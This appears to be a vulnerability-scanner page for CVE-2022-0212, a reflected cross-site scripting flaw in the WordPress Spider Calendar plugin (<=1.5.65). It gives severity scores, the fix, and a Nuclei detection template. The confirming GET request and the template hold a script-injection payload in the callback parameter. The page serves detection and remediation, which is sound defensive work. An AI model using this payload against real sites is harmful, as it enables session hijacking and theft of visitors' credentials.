WordPress Spider Calendar <=1.5.65 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

WorsPress Spider Calendar plugin through 1.5.65 is susceptible to cross-site scripting. The plugin does not sanitize and escape the callback parameter before outputting it back in the page via the window AJAX action, available to both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of WordPress Spider Calendar plugin (>=1.5.66) or apply the vendor-supplied patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=window&callback=</script><img/src/onerror=alert(document.domain)>
Positive when: contains "spider_Calendar_theme" and "</script><img/src/onerror=alert(document.domain)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0212 -u <target>

The full check

id: CVE-2022-0212

info:
  name: WordPress Spider Calendar <=1.5.65 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WorsPress Spider Calendar plugin through 1.5.65 is susceptible to cross-site scripting. The plugin does not sanitize and escape the callback parameter before outputting it back in the page via the window AJAX action, available to both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress Spider Calendar plugin (>=1.5.66) or apply the vendor-supplied patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/15be2d2b-baa3-4845-82cf-3c351c695b47
    - https://wordpress.org/plugins/spider-event-calendar/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0212
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0212
    cwe-id: CWE-79
    epss-score: 0.02302
    epss-percentile: 0.83457
    cpe: cpe:2.3:a:10web:spidercalendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: 10web
    product: spidercalendar
    framework: wordpress
  tags: cve2022,cve,xss,wpscan,wordpress,wp-plugin,wp,spider-event-calendar,unauthenticated,10web,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=window&callback=</script><img/src/onerror=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "spider_Calendar_theme"
          - "</script><img/src/onerror=alert(document.domain)>"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from